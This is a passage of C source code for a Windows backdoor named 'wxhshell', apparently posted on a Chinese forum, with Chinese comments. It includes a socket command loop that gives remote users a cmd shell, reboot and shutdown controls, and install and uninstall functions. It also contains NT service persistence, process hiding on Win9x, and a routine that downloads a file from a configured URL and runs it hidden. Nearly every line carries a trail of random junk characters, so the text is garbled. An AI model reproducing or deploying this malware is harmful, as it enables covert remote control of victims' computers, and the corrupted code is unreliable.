  else { /wShUR{  
eYUr-rN+)z  
    switch(cmd[0]) { uE/T2BX*  
  .0 )Y  
  // 帮助 Rgy- OA  
  case '?': { f>o,N{|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); inb^$v  
    break; 9I7\D8r  
  } INs!Ame2  
  // 安装 e1myH6$W  
  case 'i': { %VJ85^B3  
    if(Install()) R:-JkV>e:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); asiov[o;  
    else 6d[_G$'nk  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :#E*Y8-  
    break; @:0ddb71  
    } @!N-RQ&A  
  // 卸载 bu7'oB~:V^  
  case 'r': { 2aZw[7s  
    if(Uninstall()) %_-zWVJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wm{3&m  
    else -ezY= 0Q&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B5V_e!*5F*  
    break; J&/lx${  
    } JG[o"&Sd  
  // 显示 wxhshell 所在路径 thi1kJ`L  
  case 'p': { _mvxsG  
    char svExeFile[MAX_PATH]; b+-f.!j  
    strcpy(svExeFile,"\n\r"); XKA&XpF  
      strcat(svExeFile,ExeFile); 5vAf7\*  
        send(wsh,svExeFile,strlen(svExeFile),0); WL,&-*JAW  
    break; rB~W Iu  
    } j:T/iH!YF  
  // 重启 b !@Sn/  
  case 'b': { Z v_.na/^K  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); , ^F)L|  
    if(Boot(REBOOT)) 0_P}z3(M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kd:$oS_*s  
    else { c3*t_!@oC  
    closesocket(wsh); SKuIF*"! S  
    ExitThread(0); Ab%;Z5$fr  
    } EFuvp8^y  
    break; W!blAkM%i  
    } mME 4 l  
  // 关机 jr7C}B-Fb^  
  case 'd': { B_U{ s\VY  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); FsB^CxVg  
    if(Boot(SHUTDOWN)) Md6]R-l@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {Sl57!U5  
    else { OdWou|Gz  
    closesocket(wsh); xqXDxJlns  
    ExitThread(0); SVlua@]ChU  
    } Ok7t@l$  
    break; Z@8vL  
    } o@]So(9f  
  // 获取shell o*x*jn:hm  
  case 's': { p(xC*KWB  
    CmdShell(wsh); XoL JL]+?  
    closesocket(wsh); 6$a$K,dZ  
    ExitThread(0); $WYbm}j  
    break; I$NhXZ)KT  
  } EV#MQM  
  // 退出 tkQH\5  
  case 'x': { =~Ynz7 /x  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )#a[-.OI  
    CloseIt(wsh); ML-)I&>tT  
    break; |4mpohX  
    } Cz4)Yz  
  // 离开 KfBTL!0#  
  case 'q': { _rV5E  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); S-31-Zjw  
    closesocket(wsh); >-_d CNZ  
    WSACleanup(); id<:p*  
    exit(1); BR^7_q4q  
    break; y-p70.'{U  
        } x\&`>>uA  
  } ^_5L"F]sP  
  } ihh4pD27g  
Q9d`zR]  
  // 提示信息 ;!91^Tl  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k4qp u=@U  
} yc2/~a_ Gx  
  } RsU3Gi_Zdz  
<PPNhf8  
  return; I/VxZ8T  
} D'Z|}(d&  
l no vykR  
// shell模块句柄 Z3k(P  
int CmdShell(SOCKET sock) a$"ib  
{ 87 }&`  
STARTUPINFO si; @prG%vb"  
ZeroMemory(&si,sizeof(si)); 4`Q3v4fOF  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6.5T/D*TT  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ky 8ep  
PROCESS_INFORMATION ProcessInfo; BR'I+lQ  
char cmdline[]="cmd"; tNsPB6 Z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,D\GGRw  
  return 0; nA|.t  
} <APB11  
mrm^e9*Z  
// 自身启动模式 >FhK #*Pa  
int StartFromService(void) ,f}UGd[a  
{ ug{R 3SS  
typedef struct  hjO*~  
{ WwC 5!kZ  
  DWORD ExitStatus; 2([2Pb3<"  
  DWORD PebBaseAddress; &U+ _ -Ph  
  DWORD AffinityMask; \BWyk A>  
  DWORD BasePriority; j1SMeDDM ~  
  ULONG UniqueProcessId; k5kdCC0FCk  
  ULONG InheritedFromUniqueProcessId; -(`OcGM'L  
}   PROCESS_BASIC_INFORMATION; L=2y57&Y  
QDpEb=|S  
PROCNTQSIP NtQueryInformationProcess; iv phlw  
n~g)I&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]zO/A4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :16P.z1L  
T!wo2EzE  
  HANDLE             hProcess; /h v4x9  
  PROCESS_BASIC_INFORMATION pbi; k3+e;[My+  
>7!6nF3x,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); tb :L\A^:  
  if(NULL == hInst ) return 0; %Pksv}  
L lBN-9p  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); k{gLMl  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =%zLh<3v  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `/Nm 2K  
 g PAX4'  
  if (!NtQueryInformationProcess) return 0; [2ax>Yk$  
]"c+sMW  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); h^ -. ]Y  
  if(!hProcess) return 0; "NRDNqj(  
!6Sd(2  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~gz^Cdh  
.(J?a"  
  CloseHandle(hProcess); iHf-{[[Z  
{pb>$G:gfx  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /7!""{1\\  
if(hProcess==NULL) return 0; :V2bS  
6t/`:OZC:  
HMODULE hMod; SI:U0gUc  
char procName[255]; 8Ld:"Y#  
unsigned long cbNeeded; D>Gt]s  
!v]b(z`Y  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %{6LUn  
4tSv{B/}  
  CloseHandle(hProcess); 7Cjd.0T=(  
lTU$0CG  
if(strstr(procName,"services")) return 1; // 以服务启动 ' qdPw%d  
2,aPr:]  
  return 0; // 注册表启动 ++L?+^h  
} RE.r4uOJg  
9Lh|DK,nV/  
// 主模块 v(OBXa9  
int StartWxhshell(LPSTR lpCmdLine) TO2c"7td  
{ v^ d]r Sm  
  SOCKET wsl; Jc)^49Rf  
BOOL val=TRUE; DF6c|  
  int port=0; qS&%!  
  struct sockaddr_in door; r_EcMIuk  
TpA\9N#$  
  if(wscfg.ws_autoins) Install(); fQLt=Lrp  
, @m@S ^  
port=atoi(lpCmdLine); vIvVq:6_3  
EQqx+J&!  
if(port<=0) port=wscfg.ws_port; kY]W Qu  
PpLU  
  WSADATA data; CE15pNss  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +i\&6HGK;-  
Sx    
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^\B :R,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Kb =@ =Xta  
  door.sin_family = AF_INET; Z ,^9 Z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^I KO2Ft  
  door.sin_port = htons(port); `Q+moX  
kj+#Tn F-  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -T6(hT\  
closesocket(wsl); CIjZG?A  
return 1; 'WHHc 9rG,  
} `>DP,D)w(  
:Q+5,v-c  
  if(listen(wsl,2) == INVALID_SOCKET) { I ];M7  
closesocket(wsl); ylKmj]A  
return 1; #k3t3az2{  
} 1Y_w5dU  
  Wxhshell(wsl); "^I mb,  
  WSACleanup(); -/ ]W+[  
t>B^q3\q?  
return 0; c`x7u}C  
?j^=u:<  
} ]a2W e`  
C@N1ljXJT  
// 以NT服务方式启动 q_ =b<.;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) e6=]m#O9  
{  ]*O/+  
DWORD   status = 0; ]CU]pK?nq  
  DWORD   specificError = 0xfffffff; 5-)#f?  
>hY" 3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }AZc8o-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6io, uh!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; UZ8?[  
  serviceStatus.dwWin32ExitCode     = 0; -st7_3  
  serviceStatus.dwServiceSpecificExitCode = 0; _ >` X]I;  
  serviceStatus.dwCheckPoint       = 0; Hn,:`mj4-6  
  serviceStatus.dwWaitHint       = 0; K.gEj*@  
@?C#r.vgp  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); * y^OV_n-8  
  if (hServiceStatusHandle==0) return; ,2oF:H  
R~bC,`Bh  
status = GetLastError(); ZxGP/D  
  if (status!=NO_ERROR) )hwV`2>l  
{ %hlspI(J  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; M>jtFP <S  
    serviceStatus.dwCheckPoint       = 0; hP J4Oj1O  
    serviceStatus.dwWaitHint       = 0; X\p,%hk \  
    serviceStatus.dwWin32ExitCode     = status; \b}~2oX  
    serviceStatus.dwServiceSpecificExitCode = specificError; MH| ] \  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); M Jj4Hd  
    return; xr0haN\p"  
  } *zO&N^X.4  
cYNJhGY  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,? E&V_5  
  serviceStatus.dwCheckPoint       = 0; 9>/wUQs!]  
  serviceStatus.dwWaitHint       = 0; iE0ab,OF  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Gf8s?l  
} -{h   
 Lw1T 4n  
// 处理NT服务事件,比如:启动、停止 4Z[V uQng  
VOID WINAPI NTServiceHandler(DWORD fdwControl) K[ .JlIP  
{ 4eVI},  
switch(fdwControl) bIt=v)%$  
{ 4LI0SwD#^/  
case SERVICE_CONTROL_STOP: >k']T/%  
  serviceStatus.dwWin32ExitCode = 0; 66snC{g U  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \EoX8b}$b0  
  serviceStatus.dwCheckPoint   = 0; [fu!AIQs  
  serviceStatus.dwWaitHint     = 0; 3#wcKv%>&_  
  { 5CAR{|a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v"+k~:t*  
  } XwM611  
  return; }~Q"s2  
case SERVICE_CONTROL_PAUSE: h72UwJ2rw  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; o/ [  
  break; o6"*4P|  
case SERVICE_CONTROL_CONTINUE: *cWmS\h|  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; `Lyq[zg8  
  break; xChI ,~i  
case SERVICE_CONTROL_INTERROGATE: lA>\Ko  
  break; j:5%ppIY  
}; ')+0nPV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O?bK%P]ay  
} m9M FwfZ  
jc_\'Gr+[  
// 标准应用程序主函数 HOt>}x  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) E04l|   
{ ^=cXo<6D  
mN0=i(H<  
// 获取操作系统版本 b M;`s5d  
OsIsNt=GetOsVer(); %;`>`j5  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7J>Gd  
(7lBID4  
  // 从命令行安装 l#3($QV,  
  if(strpbrk(lpCmdLine,"iI")) Install(); s(ROgCO  
>=ot8%.!,B  
  // 下载执行文件 nbofYI$rd&  
if(wscfg.ws_downexe) { t$^l<ppQ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) D)='8jV7  
  WinExec(wscfg.ws_filenam,SW_HIDE); 0Flu\w/+P  
} x )5V.q  
j{#Wn !,  
if(!OsIsNt) { dOa!htx]  
// 如果时win9x,隐藏进程并且设置为注册表启动 S_J :&9L  
HideProc(); "YFls#4H-  
StartWxhshell(lpCmdLine); 5/ecaAB2  
} ;mm!0]V  
else &!7+Yb(1  
  if(StartFromService()) <*'cf2Q$Av  
  // 以服务方式启动 Y5A~E#zw  
  StartServiceCtrlDispatcher(DispatchTable); [nN7qG  
else PW}OU9is  
  // 普通方式启动 p5c8YfM  
  StartWxhshell(lpCmdLine); +R$?2  
pL oy  
return 0; "5DJu ~  
}
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只看该作者 1 发表于: 2006-10-10
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